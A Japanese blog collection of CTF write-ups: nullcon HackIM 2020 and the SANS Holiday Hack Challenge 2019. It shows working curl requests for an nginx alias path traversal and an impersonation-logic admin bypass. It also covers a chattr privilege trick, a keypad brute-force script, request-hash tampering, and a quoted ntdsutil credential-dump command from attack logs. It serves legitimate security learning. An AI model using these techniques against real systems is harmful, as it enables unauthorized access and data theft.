limited2グループには以下の画像のActionが可能なポリシーがアタッチされている。 f:id:graneed:20200209003039p:plain

S3が読めるようなので、S3の画面に遷移すると、怪しいS3バケットを発見する。 f:id:graneed:20200209003313p:plain

flag.txtを発見! f:id:graneed:20200209003345p:plain

ダウンロードすると、フラグが書かれていた。

フラグゲット。
hackim20{Hail_RhinoSecurity_labs!!!!}

nullcon HackIM 2020 Writeup - ghost

Question

Ever had a scary feeling when you are alone that there is something in the room, but you cant see it with your eyes alone?

Don't be scared to probe at - https://web1.ctf.nullcon.net:8443/

Note: Challenge Is Not Down

Solution

Stage1

ChromeでURLにアクセスしてもERR_CONNECTION_REFUSEDが発生する。

ヒントを見ると、女性が1,2,3のカウントをしているgif画像が表示される。
HTTP/3で接続すると繋がるのではと推測する。

curlコマンドでHTTP/3接続するには、HTTP/3対応版のcurlを自分でビルドする必要がある。

HTTP/3対応のcurlインストール

ビルドに必要なパッケージやライブラリをあらかじめインストールしておく。

$ apt install cmake autoconf libtool pkg-config

# RUSTのインストール(cargoコマンドが必要であるため)
$ curl https://sh.rustup.rs -sSf | sh

# golangのインストール
# https://golang.org/dl/ からtar.gzをダウンロード
$ tar -C /usr/local -xzf go1.13.7.linux-amd64.tar.gz
$ export PATH=$PATH:/usr/local/go/bin

以下のページを見ながらビルドを進める。
curl/HTTP3.md at master · curl/curl · GitHub

最後にmake installする。その後、ターミナルの再起動が必要かもしれない。
環境を汚すのが嫌な場合は、./src/curlをそのまま使ってもよい。

成功すると、FeaturesにHTTP3を確認できる。

root@kali:~# curl -V
curl 7.69.0-DEV (x86_64-pc-linux-gnu) libcurl/7.69.0-DEV BoringSSL zlib/1.2.11 quiche/0.2.0
Release-Date: [unreleased]
Protocols: dict file ftp ftps gopher http https imap imaps pop3 pop3s rtsp smb smbs smtp smtps telnet tftp 
Features: alt-svc AsynchDNS HTTP3 HTTPS-proxy IPv6 Largefile libz NTLM NTLM_WB SSL UnixSockets

攻略

--http3オプションを付けてcurlコマンドを実行すると、推測通りアクセスできた。

root@kali:~# curl --http3 https://web1.ctf.nullcon.net:8443/ -v
*   Trying 139.59.34.79:8443...
* Sent QUIC client Initial, ALPN: h3-25h3-24h3-23
* h3 [:method: GET]
* h3 [:path: /]
* h3 [:scheme: https]
* h3 [:authority: web1.ctf.nullcon.net:8443]
* h3 [user-agent: curl/7.69.0-DEV]
* h3 [accept: */*]
* Using HTTP/3 Stream ID: 0 (easy handle 0x55e190e16850)
> GET / HTTP/3
> Host: web1.ctf.nullcon.net:8443
> user-agent: curl/7.69.0-DEV
> accept: */*
> 
< HTTP/3 200
< server: nginx/1.16.1
< date: Sat, 08 Feb 2020 05:00:19 GMT
< content-type: text/html
< content-length: 374
< last-modified: Wed, 05 Feb 2020 19:18:19 GMT
< etag: "5e3b14fb-176"
< alt-svc: h3-23=":443"; ma=86400
< accept-ranges: bytes
< 
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>How are you here?</title>
 
</head>
<body>


<center><h1>Shit! </h1>
<h3>How on earth did you reach here?</h3>
<h3>We added another layer of security to so we dont get hacked. Can you breach that also?</h3>
<img src="/static/giphy.gif"></img>
</center>

<!-- No need to bruteforce# -->

</body>
</html>

* Connection #0 to host web1.ctf.nullcon.net left intact

staticディレクトリを確認すると、ディレクトリリスティングが有効であることがわかる。

root@kali:~# curl --http3 https://web1.ctf.nullcon.net:8443/static/
<html>
<head><title>Index of /static/</title></head>
<body>
<h1>Index of /static/</h1><hr><pre><a href="../">../</a>
<a href="giphy.gif">giphy.gif</a>                                          05-Feb-2020 19:18             5801332
</pre><hr></body>
</html>

nginxには設定ミスによりパストラバーサルが可能な脆弱性が生まれる。
(2019年のwriteupまとめ記事でも紹介済み)
https://graneed.hatenablog.com/entry/2019/12/29/115100#nginx%E3%81%AE%E8%A8%AD%E5%AE%9A%E4%B8%8D%E5%82%99

root@kali:~# curl --http3 https://web1.ctf.nullcon.net:8443/static../
<html>
<head><title>Index of /static../</title></head>
<body>
<h1>Index of /static../</h1><hr><pre><a href="../">../</a>
<a href="backup/">backup/</a>                                            05-Feb-2020 19:18                   -
<a href="html/">html/</a>                                              05-Feb-2020 19:18                   -
<a href="static/">static/</a>                                            05-Feb-2020 19:18                   -
</pre><hr></body>
</html>

root@kali:~# curl --http3 https://web1.ctf.nullcon.net:8443/static../backup/
<html>
<head><title>Index of /static../backup/</title></head>
<body>
<h1>Index of /static../backup/</h1><hr><pre><a href="../">../</a>
<a href="links.txt">links.txt</a>                                          05-Feb-2020 19:18                 277
<a href="nginx.conf">nginx.conf</a>                                         05-Feb-2020 19:18                1242
</pre><hr></body>
</html>

root@kali:~# curl --http3 https://web1.ctf.nullcon.net:8443/static../backup/links.txt
To signup
http://localhost/check.php?signup=true&name=asd

To Impersonate a person
http://localhost/check.php?impersonator=asd&impersonatee=check

To umimpersonate a person
http://localhost/check.php?unimpersonate=asd-admin

To get status
http://localhost/check.php?status=asd

/check.phpというURLが存在することがわかる。次にこちらを攻める。

Stage2

/check.phpは、パラメータによって機能が変わるようだ。

サインアップしてステータス確認すると、パラメータで指定したnameのユーザに加えて、nameの末尾に-adminが付いたadmin roleを持つユーザが作成されていることがわかる。

root@kali:~# curl --http3 -H "cookie: PHPSESSID=b7648f7c4261c2a885eda5c1322aba1c" "https://web1.ctf.nullcon.net:8443/check.php?signup=true&name=asd"
<center><h1>Welcome to password less authentication system</h1></center>Please become admin, username: asd-admin 

root@kali:~# curl --http3 -H "cookie: PHPSESSID=b7648f7c4261c2a885eda5c1322aba1c" "https://web1.ctf.nullcon.net:8443/check.php?status=asd"
<center><h1>Welcome to password less authentication system</h1></center>
name: asd</br>
impersonating: </br>
role: user</br>
admin name: asd-admin</br>
admin role: admin</br>
Please become admin, username: asd-admin 

impersonatorで指定したユーザを、impersonateeで指定したユーザに成りすましができるようだ。

root@kali:~# curl --http3 -H "cookie: PHPSESSID=b7648f7c4261c2a885eda5c1322aba1c" "https://web1.ctf.nullcon.net:8443/check.php?impersonator=asd&impersonatee=check"
<center><h1>Welcome to password less authentication system</h1></center>You are not admin

root@kali:~# curl --http3 -H "cookie: PHPSESSID=b7648f7c4261c2a885eda5c1322aba1c" "https://web1.ctf.nullcon.net:8443/check.php?status=asd"
<center><h1>Welcome to password less authentication system</h1></center>
name: asd</br>
impersonating: check</br>
role: user</br>
admin name: asd-admin</br>
admin role: admin</br>
You are not admin

adminのロールをもつユーザには成りすましできないようチェックされている。

root@kali:~# curl --http3 -H "cookie: PHPSESSID=b7648f7c4261c2a885eda5c1322aba1c" "https://web1.ctf.nullcon.net:8443/check.php?impersonator=asd&impersonatee=asd-admin"
<center><h1>Welcome to password less authentication system</h1></center>cannot impersonate admin role

そこで、adminのロールを持つユーザを、userのロールを持つユーザに成りすませた状態であれば、このチェックをバイパスして、成りすましが可能と推測する。その後、adminのロールを持つユーザの成りすましを解除すればよい。

手順を整理すると以下のとおり。

  1. asd-adminasdに成りすまし。
  2. asdasd-adminに成りすまし。
  3. asd-adminの成りすましを解除。
  4. asdasd-adminに成りすましたままなので、admin roleを持つ。
root@kali:~# curl --http3 -H "cookie: PHPSESSID=b7648f7c4261c2a885eda5c1322aba1c" "https://web1.ctf.nullcon.net:8443/check.php?signup=true&name=asd"
<center><h1>Welcome to password less authentication system</h1></center>Please become admin, username: asd-admin 

root@kali:~# curl --http3 -H "cookie: PHPSESSID=b7648f7c4261c2a885eda5c1322aba1c" "https://web1.ctf.nullcon.net:8443/check.php?impersonator=asd-admin&impersonatee=asd"
<center><h1>Welcome to password less authentication system</h1></center>You are not admin 

root@kali:~# curl --http3 -H "cookie: PHPSESSID=b7648f7c4261c2a885eda5c1322aba1c" "https://web1.ctf.nullcon.net:8443/check.php?impersonator=asd&impersonatee=asd-admin"
<center><h1>Welcome to password less authentication system</h1></center>You admin role is not admin

root@kali:~# curl --http3 -H "cookie: PHPSESSID=b7648f7c4261c2a885eda5c1322aba1c" "https://web1.ctf.nullcon.net:8443/check.php?unimpersonate=asd-admin"
<center><h1>Welcome to password less authentication system</h1></center>hackim20{We_Never_Thought_it_Was_That_Vulnerable}

フラグゲット。
hackim20{We_Never_Thought_it_Was_That_Vulnerable}

The 2019 SANS Holiday Hack Challenge Writeup

あけましておめでとうございます。

今年もSANS社がHoliday Hack Challengeを開催しており、参加&全完しましたのでwriteupを書きます。
holidayhackchallenge.com

昨年のwriteup記事はこちらです。
graneed.hatenablog.com

概要

エルフ大学を歩きながら、ペンテスト、フォレンジックマルウェア解析、ネットワーク解析などのスキルを駆使して、各種チャレンジを解いていく。 メインの問題数は全12問、メインの問題のヒントがもらえるサブのTerminal問題が全10問ある。

以下、開始直後の鉄道を降りたところのスクリーンショット
右側にある緑色の端末みたいなアイコンがTerminal問題。これを解くと隣にいるエルフからヒントをもらえる。

f:id:graneed:20200102013711p:plain

Terminal問題

最初はTerminal問題から。マップ上のアイコンをクリックするとターミナルが立ち上がる。(一部例外あり

Escape Ed

edを終了すればクリア。qコマンドで終了。

f:id:graneed:20191229125313p:plain

Linux Path

lsコマンドを実行すればクリアだが、pathが通っていない。/bin/lsで直接実行する。

f:id:graneed:20191229185156p:plain

Mongo Pilfer

ローカルで起動しているMongoDBに接続したいが、デフォルトのポート番号ではない。

ps -eaxを実行するとポート番号を12121に指定していることがわかる。

f:id:graneed:20200112125247p:plain

DBを適当に漁ると、指定されたコマンドを実行しろと指示を発見するので、実行するとクリア。

f:id:graneed:20191229194533p:plain

f:id:graneed:20191229194608p:plain

Nyanshell

alabaster_snowballにsuしてBash起動できればクリアだが、デフォルトシェルが/bin/nshになっている。 /bin/nshのwrite権限はあるものの、上書きができない。

sudo -lを実行すると/usr/bin/chattrがroot権限で実行できることがわかる。 ファイル属性にi属性が設定されていることが上書きできない原因のようなので、-iオプションで外してから、/bin/nsh/bin/bashで上書きする。

f:id:graneed:20191230000732p:plain

Smart Braces

指定された要件を満たすような、iptablesの設定を実行すればクリア。要件は以下のとおり。

1. Set the default policies to DROP for the INPUT, FORWARD, and OUTPUT chains.
2. Create a rule to ACCEPT all connections that are ESTABLISHED,RELATED on the INPUT and the OUTPUT chains.
3. Create a rule to ACCEPT only remote source IP address 172.19.0.225 to access the local SSH server (on por
t 22).
4. Create a rule to ACCEPT any source IP to the local TCP services on ports 21 and 80.
5. Create a rule to ACCEPT all OUTPUT traffic with a destination TCP port of 80.
6. Create a rule applied to the INPUT chain to ACCEPT all traffic from the lo interface.

対応する設定を行うコマンドは以下のとおり。

sudo iptables -P INPUT DROP
sudo iptables -P FORWARD DROP
sudo iptables -P OUTPUT DROP

sudo iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
sudo iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

sudo iptables -A INPUT -s 172.19.0.225 -p tcp --dport 22 -j ACCEPT

sudo iptables -A INPUT -p tcp --dport 21 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 80 -j ACCEPT

sudo iptables -A OUTPUT -p tcp --dport 80 -j ACCEPT

sudo iptables -A INPUT -i lo -j ACCEPT

f:id:graneed:20191229225536p:plain

Xmas Cheer Laser

端末内の情報を集めてレーザーの出力を上げるためのパラメータ情報を集める問題。PowerShell環境。

集めたパラメータ情報はAPIで設定する。API仕様は以下のとおり。

PS /home/elf> (Invoke-WebRequest -Uri http://localhost:1225/).RawContent
HTTP/1.0 200 OK                                                                                             
Server: Werkzeug/0.16.0                                                                                     
Server: Python/3.6.9                                                                                        
Date: Sun, 29 Dec 2019 18:48:30 GMT                                                                         
Content-Type: text/html; charset=utf-8
Content-Length: 860
<html>
<body>
<pre>
----------------------------------------------------
Christmas Cheer Laser Project Web API
----------------------------------------------------
Turn the laser on/off:
GET http://localhost:1225/api/on
GET http://localhost:1225/api/off
Check the current Mega-Jollies of laser output
GET http://localhost:1225/api/output
Change the lense refraction value (1.0 - 2.0):
GET http://localhost:1225/api/refraction?val=1.0
Change laser temperature in degrees Celsius:
GET http://localhost:1225/api/temperature?val=-10
Change the mirror angle value (0 - 359):
GET http://localhost:1225/api/angle?val=45.1
Change gaseous elements mixture:
POST http://localhost:1225/api/gas
POST BODY EXAMPLE (gas mixture percentages):
O=5&H=5&He=5&N=5&Ne=20&Ar=10&Xe=10&F=20&Kr=10&Rn=10
----------------------------------------------------
</pre>
</body>
</html>

パラメータは全部で4種類。

1. angle

historyを実行すると発見。angleは65.5。次のヒントも発見する。

PS /home/elf> history | Out-String -Width 4096
  Id CommandLine
  -- -----------
   1 Get-Help -Name Get-Process 
   2 Get-Help -Name Get-* 
   3 Set-ExecutionPolicy Unrestricted 
   4 Get-Service | ConvertTo-HTML -Property Name, Status > C:\services.htm 
   5 Get-Service | Export-CSV c:\service.csv 
   6 Get-Service | Select-Object Name, Status | Export-CSV c:\service.csv 
   7 (Invoke-WebRequest http://127.0.0.1:1225/api/angle?val=65.5).RawContent
   8 Get-EventLog -Log "Application" 
   9 I have many name=value variables that I share to applications system wide. At a command I will reveal m
y secrets once you Get my Child Items.
  10 (Invoke-WebRequest -Uri http://localhost:1225/).RawContent

2. refraction

I have many name=value variables that I share to applications system wide. At a command I will reveal my secrets once you Get my Child Items.のヒントから、Get-ChildItem環境変数を確認する。

PS /home/elf> Get-ChildItem env: | Out-String -Width 4096
Name                           Value
----                           -----
_                              /bin/su
DOTNET_SYSTEM_GLOBALIZATION_I… false
HOME                           /home/elf
HOSTNAME                       8f719061667c
LANG                           en_US.UTF-8
LC_ALL                         en_US.UTF-8
LOGNAME                        elf
MAIL                           /var/mail/elf
PATH                           /opt/microsoft/powershell/6:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin
:/sbin:/bin:/usr/games:/usr/local/games
PSModuleAnalysisCachePath      /var/cache/microsoft/powershell/PSModuleAnalysisCache/ModuleAnalysisCache
PSModulePath                   /home/elf/.local/share/powershell/Modules:/usr/local/share/powershell/Modules
:/opt/microsoft/powershell/6/Modules
PWD                            /home/elf
RESOURCE_ID                    4a012a47-0153-4c5b-8b25-15bd2cf73044
riddle                         Squeezed and compressed I am hidden away. Expand me from my prison and I will
 show you the way. Recurse through all /etc and Sort on my LastWriteTime to reveal im the newest of all.
SHELL                          /home/elf/elf
SHLVL                          1
TERM                           xterm
USER                           elf
userdomain                     laserterminal
USERDOMAIN                     laserterminal
USERNAME                       elf
username                       elf

ヒントどおりに/etc配下の最終更新時間が新しいファイルを確認する。

PS /etc> Get-ChildItem -Recurse | Sort-Object LastWriteTime
(snip)
    Directory: /etc/apt
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
--r---          12/29/19  6:02 PM        5662902 archive

展開する。

PS /home/elf> Expand-Archive -Path /etc/apt/archive -DestinationPath /tmp
PS /home/elf> cd /tmp
PS /tmp> dir
    Directory: /tmp                                                                                         
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-r---          12/13/19  5:15 PM                5t4srxl3
d-r---          12/13/19  5:15 PM                ar0h5fvb
d-r---          12/13/19  5:15 PM                isersp3d
d-r---          12/13/19  5:15 PM                jj0ulyca
d-r---          12/13/19  5:15 PM                jyy10y3s
d-r---          12/13/19  5:15 PM                mmwmacs2
d-----          12/29/19  6:19 PM                refraction
d-r---          12/13/19  5:15 PM                w45zpn1s
d-r---          12/13/19  5:15 PM                wpvxws2m
d-r---          12/13/19  5:15 PM                zulm3qkm
------          12/29/19  6:19 PM              0 clr-debug-pipe-31-76974049-in
------          12/29/19  6:19 PM              0 clr-debug-pipe-31-76974049-out
------          12/29/19  6:19 PM              0 CoreFxPipe_PSHost.D5BE7487.31.None.elf

PS /tmp> cd refraction

PS /tmp/refraction> dir
    Directory: /tmp/refraction
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
------           11/7/19 11:57 AM            134 riddle
------           11/5/19  2:26 PM        5724384 runme.elf

実行ファイルらしきファイルがあるので実行すると、refractionが1.867だとわかる。

PS /tmp/refraction> chmod 777 ./runme.elf
PS /tmp/refraction> ./runme.elf
refraction?val=1.867

次のヒントも発見した。

PS /tmp/refraction> type riddle
Very shallow am I in the depths of your elf home. You can find my entity by using my md5 identity:
25520151A320B5B0D21561F92C8F6224

3. temperature

/home/elf/depths配下に大量のファイルがあり、その中からmd5が一致するファイルを発見するのが想定解のようだが、キーワード(val=)で検索して強引に発見した。 temperatureは-33.5

PS /home/elf/depths> Get-ChildItem -Recurse -Force | Select-String "val="
produce/thhy5hll.txt:1:temperature?val=-33.5

次のヒントも発見した。

PS /home/elf/depths> type produce/thhy5hll.txt
temperature?val=-33.5
I am one of many thousand similar txt's contained within the deepest of /home/elf/depths. Finding me will gi
ve you the most strength but doing so will require Piping all the FullName's to Sort Length.

4. gas

/home/elf/depths配下から、最もファイルパスが長いファイルを見つける。

PS /home/elf/depths> Get-ChildItem -Recurse -Force | Select-Object fullname | sort { $_.fullname.length } | 
Select-Object -last 1 | Out-String -Width 4096
FullName
--------
/home/elf/depths/larger/cloud/behavior/beauty/enemy/produce/age/chair/unknown/escape/vote/long/writer/behind/ahead/thin/occasionally/explore/tape/wherever/practical/therefore/cool/plate/ice/play/truth/potatoes/beauty/fourth/careful/dawn/adult/either/burn/end/accurate/rubbed/cake/main/she/threw/eager/trip/to/soon/think/fall/is/greatest/become/accident/labor/sail/dropped/fox/0jhj5xz6.txt

PS /home/elf/depths> type /home/elf/depths/larger/cloud/behavior/beauty/enemy/produce/age/chair/unknown/esca
pe/vote/long/writer/behind/ahead/thin/occasionally/explore/tape/wherever/practical/therefore/cool/plate/ice/
play/truth/potatoes/beauty/fourth/careful/dawn/adult/either/burn/end/accurate/rubbed/cake/main/she/threw/eag
er/trip/to/soon/think/fall/is/greatest/become/accident/labor/sail/dropped/fox/0jhj5xz6.txt
Get process information to include Username identification. Stop Process to show me you're skilled and in th
is order they must be killed:
bushy
alabaster
minty
holly
Do this for me and then you /shall/see .

指定されたユーザが起動しているプロセスを停止すればよい。

PS /home/elf/depths> Get-Process -IncludeUserName
     WS(M)   CPU(s)      Id UserName                       ProcessName
     -----   ------      -- --------                       -----------
     28.98     1.58       6 root                           CheerLaserServi
    155.99    41.78      31 elf                            elf
      3.50     0.03       1 root                           init
      0.73     0.00      24 bushy                          sleep
      0.72     0.00      26 alabaster                      sleep
      0.80     0.00      28 minty                          sleep
      0.81     0.00      29 holly                          sleep
      3.46     0.00      30 root                           su
PS /home/elf/depths> kill -9 24
PS /home/elf/depths> kill -9 26
PS /home/elf/depths> kill -9 28
PS /home/elf/depths> kill -9 29
PS /home/elf/depths> type /shall/see
Get the .xml children of /etc - an event log to be found. Group all .Id's and the last thing will be in the 
Properties of the lonely unique event Id.

/etc配下にある拡張子がxmlのイベントログを集計すればよいとのことだが、面倒なのでこれもキーワード(Xe=)を類推して探して発見した。 gasはO=6&H=7&He=3&N=4&Ne=22&Ar=11&Xe=10&F=20&Kr=8&Rn=9

PS /etc> Get-ChildItem -Recurse -Force -Include *.xml 
Get-ChildItem : Access to the path '/etc/ssl/private' is denied.
At line:1 char:1
+ Get-ChildItem -Recurse -Force -Include *.xml
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo          : PermissionDenied: (/etc/ssl/private:String) [Get-ChildItem], UnauthorizedAccessExc
eption
+ FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand
 
    Directory: /etc/systemd/system/timers.target.wants
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
--r---          11/18/19  7:53 PM       10006962 EventLog.xml


PS /etc> type /etc/systemd/system/timers.target.wants/EventLog.xml | Select-String "Xe=" 
              <S N="Value">C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -c 
"`$correct_gases_postbody = @{`n    O=6`n    H=7`n    He=3`n    N=4`n    Ne=22`n    Ar=11`n    Xe=10`n    
F=20`n    Kr=8`n    Rn=9`n}`n"</S>
      <S N="Message">Process Create:_x000D__x000A_RuleName: _x000D__x000A_UtcTime: 2019-11-07 
17:59:56.525_x000D__x000A_ProcessGuid: {BA5C6BBB-5B9C-5DC4-0000-00107660A900}_x000D__x000A_ProcessId: 
3664_x000D__x000A_Image: 
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe_x000D__x000A_FileVersion: 10.0.14393.206 
(rs1_release.160915-0644)_x000D__x000A_Description: Windows PowerShell_x000D__x000A_Product: Microsoft® 
Windows® Operating System_x000D__x000A_Company: Microsoft Corporation_x000D__x000A_OriginalFileName: 
PowerShell.EXE_x000D__x000A_CommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -c 
"`$correct_gases_postbody = @{`n    O=6`n    H=7`n    He=3`n    N=4`n    Ne=22`n    Ar=11`n    Xe=10`n    
F=20`n    Kr=8`n    Rn=9`n}`n"_x000D__x000A_CurrentDirectory: C:\_x000D__x000A_User: 
ELFURESEARCH\allservices_x000D__x000A_LogonGuid: 
{BA5C6BBB-5B9C-5DC4-0000-0020F55CA900}_x000D__x000A_LogonId: 0xA95CF5_x000D__x000A_TerminalSessionId: 
0_x000D__x000A_IntegrityLevel: High_x000D__x000A_Hashes: 
MD5=097CE5761C89434367598B34FE32893B_x000D__x000A_ParentProcessGuid: 
{BA5C6BBB-4C79-5DC4-0000-001029350100}_x000D__x000A_ParentProcessId: 1008_x000D__x000A_ParentImage: 
C:\Windows\System32\svchost.exe_x000D__x000A_ParentCommandLine: C:\Windows\system32\svchost.exe -k 
netsvcs</S>

集めたパラメータをAPIを呼び出して設定するとクリア。

(Invoke-WebRequest -Uri http://localhost:1225/api/off).RawContent
(Invoke-WebRequest -Uri http://localhost:1225/api/refraction?val=1.867).RawContent
(Invoke-WebRequest -Uri http://localhost:1225/api/temperature?val=-33.5).RawContent
(Invoke-WebRequest -Uri http://localhost:1225/api/angle?val=65.5).RawContent
(Invoke-WebRequest -Uri http://localhost:1225/api/gas -Method Post -Body 'O=6&H=7&He=3&N=4&Ne=22&Ar=11&Xe=10&F=20&Kr=8&Rn=9').RawContent 
(Invoke-WebRequest -Uri http://localhost:1225/api/on).RawContent
(Invoke-WebRequest -Uri http://localhost:1225/api/output).RawContent

f:id:graneed:20191230035430p:plain

Frosty Keypad!

Terminalが起動される問題ではないが、ここで紹介。

キーパッドで正しい数値を入力する問題。

数値が素数になること、1つのボタンだけ2回使用しそれ以外は1回だけ使用すること、キーパッドの形跡がヒントになること、の情報が与えられている。

1と3と7に押下された形跡がある。

f:id:graneed:20191230102018p:plain

Burp Suiteまたはブラウザの開発者ツールで確認すると、呼び出し先のAPIがわかるので、条件を満たすボタンの組合せで総当たりするプログラムを作って実行する。

import itertools
import requests

def is_prime(q):
    q = abs(q)
    if q == 2: return True
    if q < 2 or q&1 == 0: return False
    return pow(2, q-1, q) == 1

for i in [1,3,7]:
    for v in itertools.permutations([1,3,7,i]):
        s = "".join(map(str,v))
        if is_prime(int(s)):
            url = "https://keypad.elfu.org/checkpass.php?i=%s&resourceId=4aa66b1c-05e2-49ad-bfd9-8a3e4332022a" % s
            r = requests.get(url)
            if r.json()["success"] == True:
                print(s, r.text)
                exit

いまいちなロジックなので2回出てしまうが、7331が正しいコードであることがわかる。

root@kali:/mnt/hgfs/CTF/Contest/SANS2019# python3 brute.py
7331 {"success":true,"resourceId":"4aa66b1c-05e2-49ad-bfd9-8a3e4332022a","hash":"c7e2b5534645cee5e33a1669a1dec038724fcd0e42ef3e9a2a14bc89eaed37aa","message":"Valid  Code!"}
7331 {"success":true,"resourceId":"4aa66b1c-05e2-49ad-bfd9-8a3e4332022a","hash":"c7e2b5534645cee5e33a1669a1dec038724fcd0e42ef3e9a2a14bc89eaed37aa","message":"Valid  Code!"}

Graylog

Graylogというログ分析ツールを使用して、ログからインシデント調査する問題。

Q1.

Mintyで検索。

f:id:graneed:20191230122740p:plain

answer: C:\Users\minty\Downloads\cookie_recipe.exe

Q2.

ProcessId:5256で検索。

f:id:graneed:20191230122912p:plain

answer: 192.168.247.175:4444

Q3.

ParentProcessId:5256で検索。

f:id:graneed:20191230122346p:plain

answer: whoami

Q4.

Q3と同じ検索結果から。

answer: webexservice

Q5.

ParentProcessImage:C\:\\Users\\minty\\Downloads\\cookie_recipe2.exeで検索。

f:id:graneed:20191230124312p:plain

answer: C:\cookie.exe

Q6.

account nameで検索。

answer: alabaster

Q7.

AccountName:alabaster AND LogonType:10で検索。

f:id:graneed:20191230125905p:plain

answer: 06:04:28

Q8.

timestamp:["2019-11-19 06:04:28.000" TO "2019-11-21 23:59:59.000"] AND SourceHostName:ELFU-RES-WKS2で検索。

f:id:graneed:20191230150100p:plain

Answer: elfu-res-wks2,elfu-res-wks3,3

Q9.

pastebin.comで検索。

f:id:graneed:20191230150420p:plain

answer: C:\Users\alabaster\Desktop\super_secret_elfu_research.pdf

Q10.

Q9と同じ検索結果から。

f:id:graneed:20191230150711p:plain

answer: 104.22.3.84

f:id:graneed:20191230150620p:plain

#7830984301576234

Holiday Hack Trail

難易度がEASY、MEDIUM、HARDの3段階あるゲーム。チートをして、Hardをクリアする。

通信を観察すると、EASYはGETでパラメータ送信、MEDIUMはPOSTでパラメータ送信、HARDはPOSTでパラメータ送信且つhashで改ざん確認をしていることがわかる。パラメータを改ざんするとhashが変わる。

ゲーム開始時のパラメータのhashの値であるbc573864331a9e42e4511de6f678aa83で検索すると、1626md5であることがわかる。どうやら特定のパラメータの合計値をmd5計算しているだけのようだ。 距離を8000稼げばクリアなので、スタート地点を0から7999にする。

1626+7999=9625のmd5a330f9fecc388ce67f87b09855480ca3である。 Burp Suiteで通信をインターセプトして、distanceを7999、hashをa330f9fecc388ce67f87b09855480ca3で上書きする。

f:id:graneed:20191230161832p:plain

チェックをバイパスしてゲームを開始できて、即クリア。

f:id:graneed:20191230162827p:plain

Zeek JSON Analysis

JSONファイルを解析して、durationが最も大きいログのIPアドレスを確認する。

elf@c6c39e513269:~$ cat ./conn.log | jq '.duration' | sort -g | tail -1
1019365.337758

elf@c6c39e513269:~$ grep 1019365.337758 ./conn.log 
{"ts":"2019-04-18T21:27:45.402479Z","uid":"CmYAZn10sInxVD5WWd","id.orig_h":"192.168.52.132","id.orig_p":8,"i
d.resp_h":"13.107.21.200","id.resp_p":0,"proto":"icmp","duration":1019365.337758,"orig_bytes":30781920,"resp
_bytes":30382240,"conn_state":"OTH","missed_bytes":0,"orig_pkts":961935,"orig_ip_bytes":57716100,"resp_pkts"
:949445,"resp_ip_bytes":56966700}

elf@c6c39e513269:~$ runtoanswer 
Loading, please wait......
What is the destination IP address with the longes connection duration? 13.107.21.200
Thank you for your analysis, you are spot-on.
I would have been working on that until the early dawn.
Now that you know the features of jq,
You'll be able to answer other challenges too.
-Wunorse Openslae
Congratulations!

ここまでがterminal問題。次からメインの問題。


1) Find the Turtle Doves

マップを探索して鳩を発見するだけ。

f:id:graneed:20191229204400p:plain

2) Unredact Threatening Document

マップを探索するとPDFが落ちている。

f:id:graneed:20191229184640p:plain

マスクされているが選択してコピーすれば抜き出せる。

f:id:graneed:20191229184731p:plain

Date: February 28, 2019
To the Administration, Faculty, and Staff of Elf University
17 Christmas Tree Lane
North Pole
From: A Concerned and Aggrieved Character
Subject: DEMAND: Spread Holiday Cheer to Other Holidays and Mythical Characters… OR
ELSE!
Attention All Elf University Personnel,
It remains a constant source of frustration that Elf University and the entire operation at the
North Pole focuses exclusively on Mr. S. Claus and his year-end holiday spree. We URGE
you to consider lending your considerable resources and expertise in providing merriment,
cheer, toys, candy, and much more to other holidays year-round, as well as to other mythical
characters.
For centuries, we have expressed our frustration at your lack of willingness to spread your
cheer beyond the inaptly-called “Holiday Season.” There are many other perfectly fine
holidays and mythical characters that need your direct support year-round.
If you do not accede to our demands, we will be forced to take matters into our own hands.
We do not make this threat lightly. You have less than six months to act demonstrably.
Sincerely,
--A Concerned and Aggrieved Character

answer: DEMAND

3) Windows Log Analysis: Evaluate Attack Outcome

イベントログから不正ログインが成功したアカウントを調査する。デフォルトのイベントビューアーで開いて、大量のログイン失敗直後にログイン成功しているアカウント名を入力すると正解だった。特にひっかけ要素もなかった。

f:id:graneed:20191230015114p:plain

answer: supatree

4) Windows Log Analysis: Determine Attacker Technique

Sysmonのログから、lsass.exeのプロセスから実行されている攻撃者が使用しているツールを探す問題。

lsass.exeでログを検索すると、前後のログからlsass.exe -> cmd.exe -> ntdsutil.exeの順序で子プロセスを起動していることがわかる。

    {
        "command_line": "C:\\Windows\\system32\\cmd.exe",
        "event_type": "process",
        "logon_id": 999,
        "parent_process_name": "lsass.exe",
        "parent_process_path": "C:\\Windows\\System32\\lsass.exe",
        "pid": 3440,
        "ppid": 632,
        "process_name": "cmd.exe",
        "process_path": "C:\\Windows\\System32\\cmd.exe",
        "subtype": "create",
        "timestamp": 132186398356220000,
        "unique_pid": "{7431d376-dedb-5dd3-0000-001027be4f00}",
        "unique_ppid": "{7431d376-cd7f-5dd3-0000-001013920000}",
        "user": "NT AUTHORITY\\SYSTEM",
        "user_domain": "NT AUTHORITY",
        "user_name": "SYSTEM"
    },
    {
        "command_line": "ntdsutil.exe  \"ac i ntds\" ifm \"create full c:\\hive\" q q",
        "event_type": "process",
        "logon_id": 999,
        "parent_process_name": "cmd.exe",
        "parent_process_path": "C:\\Windows\\System32\\cmd.exe",
        "pid": 3556,
        "ppid": 3440,
        "process_name": "ntdsutil.exe",
        "process_path": "C:\\Windows\\System32\\ntdsutil.exe",
        "subtype": "create",
        "timestamp": 132186398470300000,
        "unique_pid": "{7431d376-dee7-5dd3-0000-0010f0c44f00}",
        "unique_ppid": "{7431d376-dedb-5dd3-0000-001027be4f00}",
        "user": "NT AUTHORITY\\SYSTEM",
        "user_domain": "NT AUTHORITY",
        "user_name": "SYSTEM"
    }

answer: ntdsutil

